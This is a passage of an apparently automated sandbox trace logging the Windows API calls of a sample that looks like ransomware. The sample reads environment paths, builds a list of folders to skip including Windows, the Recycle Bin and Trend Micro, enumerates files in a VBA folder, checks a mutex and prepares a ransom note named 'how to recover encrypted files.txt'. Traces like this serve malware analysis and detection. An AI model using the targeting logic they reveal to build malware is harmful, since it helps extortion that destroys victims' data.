ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@蜄T企@\x18?T\x18\x97")) returned 0xffffffff [0055.312] GetLastError () returned 0x2 [0055.312] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.313] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.313] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.313] GlobalUnlock (hMem=0x440004) returned 0 [0055.313] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.313] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.313] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.313] GlobalUnlock (hMem=0x440004) returned 0 [0055.313] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.313] GlobalUnlock (hMem=0x44000c) returned 0 [0055.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.313] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.313] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.313] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0055.313] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.313] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.314] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.314] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.314] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.314] GlobalUnlock (hMem=0x44000c) returned 0 [0055.314] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.314] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.314] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.314] GlobalUnlock (hMem=0x44000c) returned 0 [0055.314] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.314] GlobalUnlock (hMem=0x440004) returned 0 [0055.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0055.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0055.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0055.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0055.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0055.316] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.316] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.316] GlobalUnlock (hMem=0x440004) returned 0 [0055.316] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.316] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.316] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.317] GlobalUnlock (hMem=0x440004) returned 0 [0055.317] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.317] GlobalUnlock (hMem=0x44000c) returned 0 [0055.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d98, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0055.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0055.318] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.318] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0055.318] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0055.318] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.318] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.318] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.318] GlobalUnlock (hMem=0x44000c) returned 0 [0055.318] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.318] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.318] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.318] GlobalUnlock (hMem=0x44000c) returned 0 [0055.318] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.318] GlobalUnlock (hMem=0x440004) returned 0 [0055.318] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.318] CharLowerBuffW (in: lpsz="FM20.CHM", cchLength=0x8 | out: lpsz="fm20.chm") returned 0x8 [0055.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", cchWideChar=69, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpUsedDefaultChar=0x0) returned 69 [0055.319] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\FM20.CHM", lpUsedDefaultChar=0x0) returned 4 [0055.319] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0055.319] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.319] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.319] GlobalUnlock (hMem=0x440004) returned 0 [0055.319] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.319] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.319] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.319] GlobalUnlock (hMem=0x440004) returned 0 [0055.319] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.319] GlobalUnlock (hMem=0x44000c) returned 0 [0055.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.320] CharLowerBuffW (in: lpsz="VBCN6.CHM", cchLength=0x9 | out: lpsz="vbcn6.chm") returned 0x9 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", cchWideChar=70, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHMc", lpUsedDefaultChar=0x0) returned 70 [0055.321] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBCN6.CHMc", lpUsedDefaultChar=0x0) returned 4 [0055.321] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0055.321] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.321] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.321] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.321] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.321] GlobalUnlock (hMem=0x44000c) returned 0 [0055.321] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.321] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.321] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.321] GlobalUnlock (hMem=0x44000c) returned 0 [0055.321] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.321] GlobalUnlock (hMem=0x440004) returned 0 [0055.321] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.321] CharLowerBuffW (in: lpsz="VBE7INTL.DLL", cchLength=0xc | out: lpsz="vbe7intl.dll") returned 0xc [0055.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.322] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL", cchWideChar=73, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL", lpUsedDefaultChar=0x0) returned 73 [0055.322] CharLowerBuffW (in: lpsz=".DLL", 